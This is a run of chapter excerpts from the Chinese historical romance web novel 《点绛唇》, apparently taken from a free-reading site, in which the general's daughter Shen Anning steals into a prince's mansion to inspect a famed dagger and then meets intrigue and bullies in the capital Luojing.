《点绛唇》 1. 第一章 回京 姜国永昌十九年 《点绛唇》全本免费阅读 姜国永昌十九年三月 冷月高悬,黑夜深深,此时已近子夜,杞国涿阳城内万赖俱寂,一墙之隔的翮王府内却是灯火繁华,纸醉金迷。 两个身着黑色夜行衣的人影悄然跃上高墙,矮身望向府内一片靡靡之音,两人相视一眼,随即同时低下头消失于黑夜中。 很快两人又出现在王府后宅一处十分幽静处,两人矮身踩着墙头查看了一圈,比起前院的声色狗马,此处显得异常落寞,两人猝然发力一跃,足尖在院中树梢上轻点借力,悄无声息地翻入了院内。 一人在前开锁很快溜进屋内,一人扫了一眼周遭也很快跟上,后面一人将门关上时前面一人已点起了一盏灯,微弱的灯火摇晃了一下随即照亮了半个屋子,两人的面容也得以看清。 来者原来是一男一女,女子身形高瘦,身姿挺拔,黑发高高束起,约莫十八九岁模样,面容清冷,眉宇间透露着一股英气。 端着烛火的男子看起来则大了许多,他一面急忙转身四处翻找,一面还不忘使唤道:“阿宁!你去那边看看有没有!” 沈安宁扫了一眼屋内各处,随意地拿起手边的小物件瞧了瞧,捻了捻指肚,又吹了手上的灰尘,“赵叔!这‘白羽’好歹也是杞国先皇所赐,穆瞻应当不会将它放在这么个破地方吧!” 赵巳头也没回,依旧着急地翻找着,“这天高皇帝远的,管他是先皇还是当今君主,你看看穆瞻那德行,哪能放在心上,比起那些莺莺燕燕,这把他死去的爹赐的匕首算得了什么?更何况有了当初他大哥穆瞬那事,现在的杞国君主,也就是他二哥穆眺可能比他更不想看见这把先皇赐的匕首了吧!” 赵巳见此处没找到,正要换一处寻找,回头瞥见沈安宁还未有动作,催促道:“快帮我找找!” 沈安宁耸了耸肩,只得听他的开始动手翻找起来。 杞国有位精通锻造之法的巧匠,杞国先帝在位时,命其为他的四个皇子每人打一把匕首,三年后巧匠将四把一模一样的匕首奉上,看着做工精致,削铁如泥的匕首,杞国先帝大悦,给四把匕首均赐名‘白羽’,分别赏赐给了四个皇子。 如今虽是十几年过去了,那巧匠早已离世,但‘白羽’的锻造之术仍被众匠人惦记,赵巳便是其中一个,姜国和杞国近百年来战火未曾停歇,直到半年前一场大战后,杞国元气大伤,两国才终于得以休战,赵巳才得了空闲想起了‘白羽’。 两人为了今日谋划了几天,更是一大早就赶了过来,蹲守了这大半日,终是寻到了时机来看看这把‘白羽’。 沈安宁翻找无果,又抬头四处看了看,见不远处书桌上放着一个长长的木匣子,走近后见匣子上面落了厚厚的一层灰,沈安宁抬手一扫,又查看了一番,确认匣子没有机关后才将木匣子打开。 原来里面放了一副画。 沈安宁将画拿了出来,拆了画卷上的带子,随着画卷被展开,一副廊下美人观雨图缓缓映入眼帘,画卷被随意的放在木匣子中,保护的并不算妥当,有些潮湿的印记,但依旧难掩画中美人容颜。 正当沈安宁要细看时,一旁的赵巳忽然兴奋道:“找到了!找到了!阿宁!” 沈安宁闻声回头望去,见赵巳从一处并不起眼的木柜中拿出匕首,一把拔了出来,仔细欣赏着:“刀身流畅,刃口锋利,上品!实乃上品啊!” 沈安宁莞尔,正要上前,突然眼神一凝,朝屋外看去,赵巳也很快反应过来,将匕首往怀中一藏,随后两人迅速灭了烛火,藏进黑暗中。 屋外院中进来几个打着灯笼的家丁,各个哈欠连连,四处随意地扫了一眼就要离开,一人小心地问道:“就这样走了吗?” 其余几人闻言一愣,随即都笑出了声,离他最近之人见他仍摸不着头脑,答道:“你是新来的吧!你不知道,这破院子里放的都是王爷一些不要的破烂,没什么值得惦记的!不会有人的,更何况府上这么多护卫,我们还是早点回去歇息吧!” 那人虽似懂非懂地点了点头,却还是有些不放心的回头打量了一番,忽然睁圆了双眼,又使劲眨了眨眼再次看去,才结结巴巴的喊道:“你们看!那锁是不是开了!” 前方几人闻言一顿,纷纷回头看去,果然那把就要生锈的锁不翼而飞了。 几人一面着急忙慌地去叫护卫,一面狂呼道:“刺客!抓刺客!” 屋内黑暗中的沈安宁和赵巳交换了个眼神,便一同带上了面纱冲了出去,沈安宁借着院中假山一跃,翻身跳到了几个家丁面前。 家丁们还未来得及看清来人,就被打晕在地,赵巳随后赶了上来,两人正要从墙上翻出去,但家丁的呼喊声已经惊动了护卫,因事发突然,来得人并不多,只二三十人。 沈安宁抽出别在背后的扇子,往后一瞥,赵巳见状点了点头,退到了一旁。 护卫一拥而上,沈安宁将手中扇子一展,直面迎了上去,须臾之间,刀光剑影,但沈安宁却并未伤一人,只是将人打晕。 赵巳将一个护卫打晕后一跃跳上了墙头,见远处有大批护卫往这边走来,便回头喊道:“走了!” 沈安宁闻声跃身而起,足尖借势在一个护卫肩上一踏,翻身跳上了高墙,两人迅速将身后众人抛下,消失于夜色之中。 月光皎洁,繁星点点,草原上两个飞奔的影子逐渐变小,最后消失在寂静的夜色中。 姜国赤州城外的平川军营中,门上有一排士兵肃立,最东边角落,有一位士兵伸了个懒腰,无意间看了一眼军营外,开心道:“快开门!” 军营大门缓缓而开,两匹骏马先后跑进后大门又再次关上。 进了军营后沈安宁勒马停下,十分轻盈地跃下马,几个士兵急忙围了上来,道:“赵将军!姑娘!” 赵巳将马绳递给一个士兵,笑着拍了拍沈安宁的马,道:“果然还是三妹厉害!” 沈安宁一笑,“那当然!” “昨日一天都没见到你们二人!难道是得手了?”一个身穿铠甲的男子走近拍了拍沈安宁的宝马‘三妹’。 众将士称道:“张将军!” “张叔!”沈安宁扬了扬下巴,示意他看向一旁的赵巳,赵巳笑弯了眉眼,正要拿出怀中的‘白羽’,忽然一个士兵跑近,道:“张将军!赵将军!姑娘!京城来了贵人!” 沈安宁拍着三妹的手一顿,张千和赵巳神色也终于严肃起来。 “贵人?” 士兵点了点头,指了指军营军营外的一队人马,沈安宁几人一同看去。 几番月落日升,自那日在军营接到圣旨,到今日已过了一月有余,原来是圣上为犒赏边境守将,命镇北侯沈海带领众守将及家眷一同回京参加千秋节的宫宴。 洛京城外的大道上,一大队举着沈字旗的军队整齐的前进着。 队伍为首的是一小队行路工整的士兵,紧跟其后的是七八人身穿铠甲的将领和一个身着红衣粗布校服的女子,小队的后头则是长长的马车队伍和 2. 第二章 相遇 《点绛唇》全本免费阅读 沈安宁等人进入洛京也有了几日,沈海带着几位将军进宫述职,沈安宁和母亲则在侯府休整。 沈安宁自小在平川长大,从小一直跟着她的阿月自然也是,所以到洛京后看到什么都稀奇,进了府后,管家吕叔送来了一些洛京口味的华丽糕点,样式甚是新奇,阿月便很快被吸引了过去。 “吕叔!” 一个身着青灰色圆领长袍的中年男子,抬头看向沈安宁,“小姐!有何吩咐?” 沈安宁百无聊赖地玩着自己的那把青铜扇,“阿爹今日怎么早早地就进宫了?” “想必是因为军队开支一事吧!” 沈安宁手上的动作一顿,她自然明白,现下虽是姜国和杞国近百年来第一次休战,但杞国在边境上一直不太安分,才使得士兵不能复员,几十万的军队,确实是难以养活,想到这,沈安宁轻叹口气,转头盯着眼前的扇子。 “小姐小姐!洛京果然不一样!连点心也能做的好多种样式!看起来好好吃!”阿月一手一个点心糕点,眼睛还看着桌上盘子里的。 沈安宁随意点了点头,又回头盯着手中的扇子,不知在想什么。 阿月想了想,眨着一双雪亮的杏眼从桌子对面凑过来,“小姐?要不要去街上看看?” 阿月早几天就想去洛京街上看看了,只是碍于从赤州到洛京,这一路上被两位夫人嘱咐她要低调行事。 沈安宁也是第一次来洛京,之前听张千赵巳他们说过这洛京甚是繁华,即使是晚上,城内也是灯火通明,如同白昼,况且自她们来到洛京,侯府门口就多了几个鬼鬼祟祟的人。 那几人伪装得也算隐蔽,只是沈安宁自小就在军营,沈海对她也没有特别照顾,反而让她和其他士兵一起去轮值站岗,使得她自小对各种探子的手段也算得上了如指掌。 她本以为对方是冲着沈海来的,只是这几日沈海出府后那几人都没有动静,沈安宁正疑惑对方的动机,也想看看到底是什么人敢在侯府门口盯梢,于是两人便换了男子装扮出门了。 阿月上街后十分兴奋,拉着沈安宁走走停停,还买了一堆小玩意,沈安宁的心思却一直放在她们离开侯府后,那几个鬼鬼祟祟也跟着离开的人身上,看来这是冲她来的了。 那几人分了两路,沈安宁思忖片刻选了一路跟着,眼见那人的行踪却越来越明显,像是要故意暴露给她发现。沈安宁依旧是不动声色地跟着他,直到他进了一家富丽无比的酒楼。 “福星楼!小姐!这个就是盛传的福星楼!”阿月的一看到眼前的福星楼,开心都写在了脸上,“听说里面的吃食和宫里御厨做的不相上下!酒也是这洛京数一数二的香醇,尤其是那一株雪,号称这洛京第一酒!” 沈安宁点了点头,慢步向福星楼里走,阿月开心一笑便奔着跳着走到前面开路去了。 “两位客官,要吃点什么?”小二把抹布往肩上一甩,笑着弯腰问刚进来的沈安宁和阿月。 沈安宁一进门就察觉到了右边靠窗那一桌的几人有些异常,看起来不像是来吃东西的更像是在等人。看来是正主把自己引到这里要出招了,沈安宁倒想看看这正主是个什么样的人物。 “把你们这的招牌菜都上一份来!还有那个洛京第一酒一株雪!”阿月抱着一堆小玩意迫不及待地和小二说着。 沈安宁跟着进去后随意扫视了一圈,故意扫到右边那一桌时,对方突然回避了眼神。沈安宁目光并没有停留,跟着小二走向了最左边靠窗的位置。 “得嘞!两位客官里边请!菜一会就来!”小二带她们到了位置后,招呼两人坐下后倒了两杯水就走了。 阿月把手里的小玩意都放下后拿起了桌上的杯子喝了口水,就开始东看西瞧。 “小姐!你看那边有个姑娘在弹琵琶!” 沈安宁放下杯子跟着阿月指着的方向望去,果然有一个女子抱着琵琶坐在右边那一桌男子旁,准备开始弹唱。 “哎,这位姑娘!要不你也不用弹了,过来陪哥几个喝酒怎么样?哥几个可不会亏待你的!”一个紫衣男子拿着酒杯正对着抱着琵琶的女子调戏道,同桌其他人听见后也附和笑着。 “就是,姑娘,你来陪我们喝酒不比你在哪抱着琵琶好?” “这可是我们孔爷,被他看上可是你的福气,还不快来陪我们孔爷喝一杯!” “哈哈哈……是啊!”同桌的人也附和着。 抱着琵琶的青衣姑娘先是惊了一下,满眼胆怯,楚楚可怜,她的这张脸算得上是人间绝色,青衣姑娘抱紧琵琶回应道:“谢谢各位公子厚爱!佩娘实在不会喝酒,怕扰了各位公子的雅兴,只会点小曲,佩娘给各位公子献上一曲以表歉意!” 被同伴称作孔爷的人喝了手里的一杯酒后,拿起酒壶就站起来,晃晃悠悠地走向佩娘,“可我们现在不想听曲子,只想和姑娘一起来品品这洛京第一酒!” 孔爷走近佩娘后便倒了一杯酒送上去,佩娘连忙站起来往后退。 孔爷看后笑了笑,抬手捏住了佩娘的下巴,轻浮地调戏道:“怎么?喝个酒也不行,那怎么还出来弹曲啊?” 后面桌上的男子听见后都开始附和打趣,佩娘一脸惧怕,本就生得我见犹怜,一双媚眼如今是泪眼婆娑,看起来很是楚楚可怜,让人怜爱。 “要不这样?你喝了孔爷这杯酒,曲子也不要你弹了,银子照样给你,怎么样?” “公子,佩娘确实不会喝……”佩娘紧紧抱着自己的琵琶。 “怎么?出来混连酒也不会喝?是不能喝?”孔爷走近佩娘,拉住佩娘放在琵琶上的手,恶狠狠道:“还是不想喝?” 沈安宁瞟了一眼那位姑娘的手,并没有言语,只回过头看着已经上了几道菜肴,最后她拿起筷子朝剁椒鱼头夹去。 佩娘一脸的惊恐,眼泪得在一双媚眼中打转,好像下一刻就要哭出来一样。 孔爷后面的男子都跟着起哄,酒楼的其他客人终于发现了这边的异样,都在窃窃私语着,却没有一人上前。 沈安宁没有回头,依然吃得自己的菜。阿月一脸的着急,看着佩娘正在为难时正起身准备冲上去,却听见一个干净清朗的少年声音从二楼楼梯传来。 一个玄衣男子执扇缓缓走下来,衣衫下摆随着他的动作向后飞去,五官轮廓分明却面无血色,整张脸上只有一双眼眸清澈得像一汪深山的清泉,带着些生机。 “她就是不想喝,你又能怎样?” 沈安宁见到此人心中顿时一楞,面上却毫无表情。 孔爷在玄衣男子走近后不自觉地往后退了一步,回过头看了看同桌的人,几人均是满脸疑惑互相看着,又回过头侧目瞥了一眼玄衣男子身后的佩娘,最后打量着玄衣男子,道:“你是谁?你和这小娘子什么关系?” 玄衣男子收起了扇子,轻咳两声后,正经道:“在下房小九,和这位姑娘嘛?并没有什么关系,只是路见不平,想要救个美!” 孔爷看着房小九,脸上有些疑惑,想了想后还是上前一小步,恶狠狠的盯着面前的两人,“想英雄救美啊?你知道我是谁吗?就敢管我的闲事?出去打听打听谁不知道我孔爷?” 佩娘便像是被吓到了往房小九身后躲,不经意地抬头往二楼看去。 沈安宁放下杯子,顺着佩娘的眼神瞟了一眼二楼楼梯口那间房门微开的房间,目光又很快地回到自己的桌上,拿起筷子看了眼眼前的鱼,似乎背后的争执不存在一样,夹起了一片鱼肉便放进嘴里。 阿月却是目不转睛的看着前面那位英雄,任由沈安宁拉着她坐下也没发现。 围观的人越来越多,房小九任由佩娘躲在自己身后,自己则做出努力思考状,片刻后才认真道:“请恕在下眼拙,确实不知孔爷是何人?” “你!你是来找事的是吗?”孔爷身后的男子都走向前来,佩娘迅速躲到了柱子后。 沈安宁一口鱼肉下肚,脸颊微微泛红,确实有点辣,随手拿起桌上的酒杯一口喝了,这下更辣了,又赶紧倒了杯水喝。 “不敢。”房小九收起扇子拍向自己的右手。 “我看你是找死!给我上!”孔爷叫起身后的男子一起冲向房小九。 酒楼里吃饭的人都开始惊慌,小二一看这个场面拦不住,连毛巾掉在地上都没捡,直接往酒楼后跑去。 阿月以为会是一个英雄救美,英雄大杀四方的场面,一脸愤怒转为期待的看着,却是没想到马上又转为错愕,只因为她看到的居然是英雄被几个混混追着抱头鼠窜的场面,阿月着实没有想到。 房小九到处躲来躲去在酒楼引起了一阵骚动,沈安宁却像是完全看不见,照样吃着自己的菜,可把对面的阿月急到了,着急地问她,“小姐!要不要帮忙啊?” 沈安宁放下手中的水杯,又斯条慢理地倒了一杯。 “小姐?”阿月一脸疑惑的看着自家小姐,她向来最相信沈安宁,也明白沈安宁做事都有她的道理,况且以她对沈安宁的了解,若今日这事只是寻常的恶霸欺负人,她都不用自己说也会出手相救,可如今看着自家小姐正安心地吃着眼前的鱼,阿月虽然不明白,却也安静地坐下,看着眼前这一出闹剧。 沈安宁又把筷子伸向了那个鱼头,似乎身后那一直在躲来躲去、上蹿下跳的一抹玄色不存在一般,直到对方越来越近。 房小九一直在各个桌子上窜来窜去,虽然气喘吁吁的,却也没能被身后的人挣得一点便宜,后面追他的人一直叫喊着,看起来着实像是谁家熊孩子被父母追着打的场面,滑稽地有些让人想笑,直到最后房小九窜到了沈安宁身后。 “小兄弟救我!” 一股淡淡的草药味闯入了沈安宁的鼻间,房小九在沈安宁旁边坐下,闷咳几声,喘匀了自己的呼吸,又毫不客气地从桌上拿了个水杯到了一杯水下肚,才缓和过来。 后面的追着他的一群人停下了,看着沈安宁放下筷子,脸颊略微有点红润但是十分平静地 3. 第三章 猜疑 《点绛唇》全本免费阅读 “那……既如此,佩娘就不打扰各位公子了!”佩娘低头看了一眼沈安宁后,微微低头行礼后离开了。 沈安宁看着离开的佩娘,想到了刚从佩娘手上看到的茧,那茧在掌中不在手指,一个从小练琴之人,手中的茧却在掌中?看来这洛京还真是卧虎藏龙之地。 显然这场美人被刁难的戏码是几人合伙演的,又或者是这个佩娘故意演的。 沈安宁端起面前的茶杯,这个房小九刚说起雇主已经走了,是指孔爷他们,还是指二楼那个房间里的人? “哎!你……”阿月看着佩娘离开后转身看向那个反客为主的房小九。 “公子是想听那个姑娘的曲吗?那我这就把那位姑娘再唤回来。” “哼!不想!”阿月气鼓鼓的坐下,想想又觉得不对,转头问道:“你怎么还坐在这?没看见我和我家公子要吃饭了吗?” 房小九轻轻挑眉一笑,道:“悲莫悲兮生别离,乐莫乐兮新相知,相逢即是缘,在下姓房,在家排行第九,家里人都唤我小九,既是和两位公子有缘,况且刚刚掌柜的又送了一坛美酒。” 房小九歪头看了沈安宁一眼,笑道:“向公子讨一杯酒喝,如何?” 沈安宁扫了他一眼,“公子可常去长乐坊?方才这般为那姑娘解围,难道是旧相知?” “遇见不公之事自当出手相救!”房小九说得十分正义,随后又眼眸一转,笑道:“至于这长乐坊嘛?小兄弟这是也想去看看?” 阿月撅嘴道:“自己还一副病秧子样,还救别人?要不是我家公子,今日你还不知道怎么样呢?” 房小九听后也不恼,笑盈盈道:“出手相助不分能力大小,重要在于心意嘛!况且我一眼就看出这位小兄弟身手不凡,能得小兄弟相助,我感激不尽!来!小兄弟!我敬你一杯!” 说完也不管沈安宁是否愿意,自顾自地给沈安宁添了杯酒。 “大凡君子与君子,以同道为朋,刚刚小兄弟与我一同为那位姑娘解困,可不就是同道之人?既然是同道中人,何不就此交个朋友?况且我一见小兄弟便觉得甚是亲切,说不定我们真的有缘。” “我见公子也是眼熟,公子前几日可曾去过城门?” 沈安宁看向正在倒酒的房小九,似乎想从他脸上看出什么,谁知房小九听后惊讶道:“小兄弟怎知我前几日去过城门?” 沈安宁打量着眼前一脸无辜状的房小九,虽身材高挑,却看起来有些弱不禁风。 阿月不耐烦的问道:“你去城门干嘛?” “两位公子有所不知,近日一些民间的名医得圣上召唤,纷纷前来洛京,咳咳……二位也看见了,我这自小就体弱,家里这些年也一直在找寻医治的办法,只是见效甚微,都说这高手都在民间嘛!我就想去看看能不能碰个运气,找个洛京以外的名医来看看,运气好的话兴许还能多活几年。” 房小九说得情真意切,阿月听后一改之前嫌弃的表情,眼中满的可怜地看着房小九。 “算了!不说这些扫兴的了!”房小九拿起酒坛给沈安宁的杯子添满酒,“还不知两位公子如何称呼呢?” “我叫阿月!你不要担心,世间名医那么多,你的病一定有救的!” 房小九笑着点了点头,“月出皎兮,佼人僚兮。小公子还真是人美心善!” 阿月虽不明白他说得是何意,但瞧了一眼沈安宁的脸色后,见她并未反驳,于是俏皮一笑,“你也善良啊!你都这样了还想着救别人!” 房小九一笑,又转过头看向沈安宁。 “沈安宁。” “沈安宁……”房小九思索道:“不累于俗,不饰于物,不苟于人,不忮于众,愿天下之安宁以活民命,沈兄弟这名字取得好!” 房小九拿起给沈安宁添的酒递给沈安宁,“沈兄弟,这福星楼的一株雪那可真得好好品品,这可是从洛京城北边那个梨花园精挑细选的梨花,沈兄弟去看过那个梨花园吗?哪里花开之时真是如琪花玉树美不胜收!”说着房小九端着酒杯看了沈安宁,笑道:“日后若有机会一同前去赏花如何?在美景下品美酒,人生一大乐事啊!” 房小九见沈安宁并不搭话,便把酒杯放在了她面前,笑着吟道:“须愁春漏短,莫诉金杯满,遇酒且呵呵,人生能几何?沈兄弟难道不想尝尝吗?这可是洛京第一酒,酒香清新,入口醇甜,饮后还久留余香!” 沈安宁看着眼前这个人,心中疑惑道:府门口的人究竟是这人的,还是那个藏在二楼未露面之人的,看佩娘的反应似乎和二楼那人是一伙的,难道这个房小九真是无意间搅了别人的局? 房小九也不在意沈安宁是不是喝了自己倒的酒,就开始从洛京的夜市一路说到洛京各个地方的好玩的、好吃的。 阿月一听到房小九聊到玩的和吃的,立刻就忘了之前的事,开始和房小九探讨哪里的吃得好吃。 沈安宁默不作声地观察着他,直到她发现二楼的那个房间的门已经闭上,才不紧不慢地站了起来,“既然房公子说这是缘分,那这顿我便请了!公子慢用!我们就先告辞了!” “沈兄弟这就要走了?”房小九往后靠了靠。 沈安宁没有说话放下一锭银子后直接往酒楼门口走,阿月马上抱起买的小玩意跟上,准备走了还不忘给房小九做了个鬼脸。 “沈兄弟那下次见啊!”房小九从窗户看出去,看着沈安宁和阿月走远了才回过头,看着眼前一桌被阿月吃的不剩什么的菜,最后目光停在那道被吃得只剩骨头的鱼上。 “主人!”房小九抬头时,一名和他年纪相仿的黑衣男子不知从哪而来,站在了桌边。 “嗯。” “人走了。” 房小九抬眼看了眼二楼那个房间,之前微开着的门这时已经全闭上,他倒了一杯一株雪,笑道:“要来一杯吗?这可是京城有名的一株雪!” 男子面无表情道:“主人?你以前对这些事从不上心,如今为何要掺和他们的事?” 房小九并未回答他,只是看着眼前的酒杯笑了笑,“好吧!既然你不喝,那我们就带一坛回去!” 说完以后房小九便一口喝了手中的酒,提起小二送的那一坛还未开封的一株雪起身走了。 男子见状也不再多言,立即跟了上去。 小二来招呼着房小九他们离开,过来收拾桌子时发现桌上的两锭银子,立马过去开心的收了起来。 “小姐!” 天色渐晚,沈安宁和提着各种小玩意的阿月也回到了镇北候府,家仆一见从外面回来的沈安宁和阿月,就赶紧上前准备接过阿月手里拿地怀里抱的东西。 “不用不用!我自己来就好!” 看着阿月生怕别人拿了她的小玩意,沈安宁无奈,转身让阿月先回去,自己一路往后院的书房走去,在门前轻轻敲门唤道:“阿娘!” 书房里端坐在书案前翻着几本厚厚的册子的江秋妤闻声抬头看向门口,温柔的笑道:“是阿宁来了?来!快进来!” “阿娘!” “小姐!”立在书案一旁的吕管家见沈安宁进来便行礼退下。 看着江秋妤一脸的疲惫,沈安宁担心的问道:“今日身体如何?” “无碍,阿宁啊!你明天去看看雪燕!” “燕姨?她怎么了?” “许是她自小就一直生活在赤州,突然这到了洛京反而不适应了,昨夜开始就一直发热,可把阿洵这孩子急着了!” “我现在去看看!”沈安宁起身就要走。 “今天已经晚了点,她已经歇下了,你明早再去吧!刚好在你今日出门后,阿洵那边就派人传来了消息,我心中着急就没来得及知会你,马上前去看她了,看着雪燕躺在床上,人都消瘦了许多!” 江秋妤叹了口气,临近千秋节,这几天她本就总心神不宁的,担心会发生什么事,如今这才刚进洛京几天,看着孙雪燕这般,心中更是担忧。 沈安宁看着自接到来洛京的圣旨后就没有几时眉头舒展的江秋妤,一袭碧青绿色云锦长裙端庄大方,头上的珠钗配合着衣裙,一只素雅的梨花银簪子在其中也不算突兀,已过暮春之年,脸上却也看不出岁 4. 第四章 搭救 《点绛唇》全本免费阅读 小厮都停下了看着自家公子走近粉衣女子,对方却没有半点退缩,男子在离粉衣女子还有五六步的距离就停了下来,冷哼一声道:“要不你和他换换?我对小娘子可不会这么粗鲁。” 小厮们闻言都附和地嘲讽道:“就是,要不你和乞丐换换。” “我劝你还是别多管闲事了,我家公子的事还轮不到你一个黄毛丫头来管!” 粉衣女子直直地盯着眼前那个把玩着手中那块玉的男子,温柔却不柔弱的声音响起,“公子也无非是仗着人多欺负手无缚鸡之力的病人,可不见得有什么真本事!” “大胆!看见我们邵公子不下跪行礼也就算了还敢出言顶撞!我看你这小命是不想要了。”又是之前那个说话的小厮狗腿地冲到粉衣女子前面。 此话一出路人都倒吸了一口气,谁人不知敢在天子脚下如此放肆的邵府公子,除了中书令邵盛之子邵晨还有谁?他可是当朝邵国公唯一的孙子,还有一个自入宫起就一直备受圣宠的姑姑邵贵妃。 粉衣女子一楞,眼眸更为冰冷,没有丝毫畏惧,冷冷道:“难道你们还敢在天子脚下杀人吗?” “杀你一个还需要我家公子吗?” 粉衣女子似乎有些厌恶,道:“你们眼里可还有王法?” “王法?我家公子就是王法!”小厮说着就要上前动手。 “敢在天子脚下自称王法,敢问是哪门哪府有如此大的威风?”沈安宁带着阿月缓步走近。 邵府的小厮们认得是镇北侯府的马车,立即停下看着沈安宁走近,又回头看邵晨,邵晨却没在意,只是转头看着沈安宁走向粉衣女子,见跟在沈安宁身后的阿月关心的问:“姑娘你没事吧?” 粉衣女子轻轻摇头。 邵晨也不再把玩手里的玉了,扬着下巴盯着沈安宁道:“你说我为何如此威风?那你又是哪里来的无名鼠辈,敢管我的事?” 一旁的小厮倒是有些疑惑,虽然面前此人样貌脱俗,气度不凡,眉眼有几分清冷的女相,可镇北候不是只有一个女儿吗? 小厮想到这又看向靠近粉衣女子的阿月,见她面若桃花,一身华丽的襦裙,虽打扮得不似个富贵人家的小姐,却也不是一般丫鬟的装扮,想来这才是沈家小姐,而前面这个英气的男子定是她的随身护卫。 想到此,小厮赶紧凑邵晨面前小声地介绍道:“公子,这是镇北侯府的马车,这两人定是镇北候的独女和她的护卫。” 虽然小厮刻意压低了声音,粉衣女子却还是听见了,白纱上的一双桃眼看了一眼身旁的阿月,又回过头仔细的打量着站在身前的沈安宁。 邵晨一脚踢开了小厮怒斥道:“镇北侯府又怎样?我爹是当今最受宠的邵贵妃一母同胞的亲哥哥,是当朝中书令!我怕她镇北侯府?” 邵晨?沈安宁想起张千他们说起的这位邵国公府的公子,都是说他终日玩物尚志,资质平庸,又爱仗势欺人,如今看着眼前这人也算是对得上号了。 邵晨怒瞪了一眼沈安宁,又看向阿月,“本公子今日就是要教训他们两个,难道你镇北侯府连我教训个乞丐贱民也要管?” 阿月也怒气冲冲地回道:“乞丐就不是人了吗?为何要给你这般侮辱?” 邵晨凶狠地瞪了她一眼,“你镇北侯府非要多管闲事是吧?” 沈安宁一步不退的站着,虽说江秋妤叫她不要招惹是非,况且她们又刚到洛京城,邵家也确实不要招惹为好,可若是邵晨先动手的,那她就可以借此好好教训他一顿了。 邵晨冷哼一声,下令道:“给我上!谁要敢拦着就一起打!” 小厮在听见邵晨的命令后你看我我看你的,不敢上前。 邵晨回头一瞪,怒斥道:“都聋了吗?给我上!我看她们谁敢管我的闲事!” 小厮们见邵晨生气了,心想即使镇北侯再厉害,但毕竟自己是邵府的下人,想想利害关系即使害怕还是听邵晨的话,准备冲上去。 沈安宁正准备抽出别在后腰的扇子,想着要尽快解决赶着去看孙雪燕,小厮们各个摩拳擦掌冲了上来,蓦地,一男子从人群中出来,冲到了沈安宁和邵晨中间,急急忙忙道:“住手!快住手!” “殿……”小厮停下看着他一脸的惊慌,立刻准备行礼就被男子打断了。 “行了!” 男子转头看了沈安宁一眼,就回过头笑着走近邵晨,“邵公子今日这是从哪得来这个宝贝?” 沈安宁注意到来的这人腰间的白玉龙纹玉佩,龙纹玉佩可不是谁都能戴的,她抬眼打量了一眼这名男子,此人看起来大约和邵晨年纪相仿,身姿挺拔,温润儒雅,颇有贵气。 邵晨看着眼前笑着的男子,虽没消气却还是回道:“珍宝阁,次是次了点,没有前几日那一批新货好。” “前几日就听说珍宝阁来了一批新货,没想到被赵王抢了先,是我脚步晚了,没能帮邵公子留下那尊上好的金鼎,要不邵公子再去挑几件,挑尽兴了,算我账上,当卖我个人情,今日之事就算了吧!” 今日珍宝阁忽然派人来通报说来了一批新货,尤其是其中的一尊金鼎,是不可多得的宝物,邵晨便早早地就过去了,可到了才得知那批新货中最好的金鼎刚被赵王方景澄派人取走了。 他便觉得自己被戏耍了,心中有气又不能找赵王发,就把珍宝阁招呼他的小厮打了一顿,小厮一边叫着痛一边还狡辩道并没有叫人去通报他。邵晨听着更来气了,差点活活把人打死才算了事,离开了珍宝阁,气还没消,走在路上居然有个乞丐来找他乞讨,竟差点碰着自己,邵晨的气更大了,叫小厮教训他,又碰见了个不长眼的臭丫头。 “罢了罢了,邵公子不是看上我那金蟾蜍很久了吗?今日回去我便让人给你送过去如何?”男子说完又靠近邵晨小声道:“沈家是回京参加圣上寿宴的,眼看这寿宴将至了,想必邵公子也不想在此时多生事端令中书令烦忧吧!” 看着眼前一直笑着的男子,邵晨是有气也不好撒,只能狠狠地瞪了一眼阿月,“算了!算你们走运!下次可别撞我手上,不然新仇旧恨一起算!”说完也不再去看那男子,反倒是一脚踹了一旁的小厮,也不知是说给谁听地呵斥道:“滚回去!省得给旁人招惹事非!” “邵公子慢走!”男子也不在意邵晨走时的阴阳怪气,看着邵晨走后就大声驱散人群,“散了吧!” 随后才缓缓走近沈安宁,腰间玉佩停止摆动后看了眼沈安宁身后的阿月,便转头对沈安宁微微俯首,“姑娘受惊了!” 沈安宁并没有感到意外,疏远的回道:“多谢!” 身后两人也微微行礼,粉衣女子过去查看地上的乞丐,阿月看了下沈安宁又看了下对面的男子,就也跟着粉衣女子过去,刚要靠近,粉衣女子就递给了阿月一方雪白的丝帕,示意她捂住自己的口鼻。 阿月疑惑地看了下眼前的丝帕,却还是接过来照做了。 沈安宁也有意过去查看,但见眼前的男子似乎没有离开的意思,“公子可还有别的事?” 男子礼貌地笑着,“没有,就是想问姑娘可有需要帮忙的?” 沈安宁扫了一眼男子腰间的龙纹玉佩,之前在平川时就听张千他们给她说起过皇宫里的几位皇子,其中三皇子方景泽有块白玉龙纹玉佩,自小就带在身上,从不离身,况且刚刚邵晨的小厮看见他时的行为和那个没唤完全的殿……她行了一礼道:“不敢劳烦魏王殿下!” 听见沈安宁的话,粉衣女子和阿月都回过头看着那男子。 方景泽微微一怔,随即立刻又恢复脸上得体的笑容,回道:“沈姑娘不必推辞,你初到洛京,有什么我能帮忙的可尽管提,我必定竭尽所能。” “多谢殿下美意!只是我暂时无事相求。”沈安宁对方景泽说话礼貌又疏远。 方景泽自小在皇宫长大,自然知道沈安宁话语中的疏远,也明白往后在洛京能见面的机会自然多,便有自知之明告辞道:“那就不多叨扰姑娘了,我先告辞了!” 沈安宁对他一礼,见方景泽转身离开了,沈安宁走向粉衣女子和阿月,刚准备蹲下,粉衣女子又从袖子中拿出一方丝帕,递给沈安宁。 沈安宁看了看她,又看了眼地上的乞丐然后接过捂住口鼻,仔细观察了乞丐,他衣衫破旧,全身上下无不是缝补的痕迹,目光一路到乞丐的怀中,见乞丐虽然被打的不能动弹,却还一直紧紧的护着怀中。 沈安宁又打量了一眼粉衣女子,见她把脉的样子应该是名医者,于是问道:“他怎么样了?” 粉衣女子摇了摇头。 阿月见状以为此人没救了,惊道:“啊,那怎么办?” 沈安宁没有言语,粉衣女子看了眼沈安宁,轻轻放下乞丐的手,扶着乞丐站起来,“你们跟我来!” 说完便带着乞丐往旁边的一个巷子走去,阿月跟着沈安宁站起来问道:“小姐?” 见沈安宁示意跟上,便立即跟上了粉衣女子。 刚乞丐站起来时沈安宁注意到了他怀中的东西,是一块金子。 乞丐每日乞讨也难遇到有人给这么大一块金子,更何况若是真心施舍也 5. 第五章 风铃 《点绛唇》全本免费阅读 沈安宁和阿月到了陈府便急忙去了孙雪燕的院子,正巧碰见陈子洵送医工出来,便在院子里停下。 